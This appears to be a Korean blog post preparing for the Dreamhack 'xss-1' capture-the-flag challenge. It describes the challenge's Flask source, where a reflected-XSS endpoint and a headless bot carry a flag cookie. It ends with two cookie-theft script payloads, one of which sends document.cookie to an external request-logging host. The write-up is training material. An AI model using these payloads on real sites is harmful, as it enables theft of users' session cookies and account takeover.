https://dreamhack.io/wargame/challenges/28
xss-1
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역
dreamhack.io
위의 문제를 풀기 위한 워밍업 과정이다.
문제에 대한 설명으로 아래와 같은 정보가 주어졌다.
<문제에 나오는 페이지>
/ 인덱스 페이지
/vuln 이용자가 입력한 값 출력
/memo 이용자가 메모를 남길 수 있으며, 해당 메모 출력
/flag 전달된 url에 임의 이용자가 접속하게끔 함. 해당 이용자의 쿠키에 flag 존재
우린 이 flag를 찾아야 하는 것!
그리고 각 페이지가 어떤 코드로 구성되어있는지 설명해준다.
<페이지별 코드 구성>
1) /vuln 페이지 : 이용자가 전달한 param 값을 출력.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
return param # 이용자의 입력값을 화면 상에 표시
2) /memo 페이지 : 이용자가 전달한 memo 값을 기록하고 출력.
@app.route("/memo") # memo 페이지 라우팅
def memo(): # memo 함수 선언
global memo_text # 메모를 전역변수로 참조
text = request.args.get("memo", "") # 이용자가 전송한 memo 입력값을 가져옴
memo_text += text + "\n" # 이용자가 전송한 memo 입력값을 memo_text에 추가
return render_template("memo.html", memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력
3) /flag 페이지 : GET, POST 메소드가 존재, GET 메소드는 이용자에게 url을 입력받는 페이지 제공, POST 메소드는 params 값, 쿠키에 check_xss 함수 호출(이때 FLAG 포함되어있음), 그리고 check_xss는 read_url 함수를 호출하여 vuln 엔드포인트에 접속.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
이때 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 xss 발생 -> 이 취약점을 공격
마지막으로 힌트를 몇 개 던져줬음.
<이용할 속성>
location.href, document.cookie
<쿠키 탈취 방법>
1) memo 페이지 사용
flag 엔드포인트에서 다음 코드를 입력하면, memo 엔드포인트에서 이용자의 쿠키 정보 확인 가능
<script>location.href = "/memo?memo=" + document.cookie;</script>
2) 웹 서버 이용
<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>
위 코드를 이용하면 드림핵에서 제공하는 외부 브라우저가 동작하고, 이는 이용자의 접속 기록(url 등)을 저장한다.
[Dreamhack] xss-2 문풀 (0) | 2023.10.06 |
---|---|
[Dreamhack] xss-1 문풀 (0) | 2023.10.06 |
[Dreamhack] XSS (0) | 2023.10.06 |
[PortSwigger] Lab: DOM XSS in document.write sink using source location.search (1) | 2023.10.06 |
[PortSwigger] Lab: Stored XSS into HTML context with nothing encoded (0) | 2023.10.06 |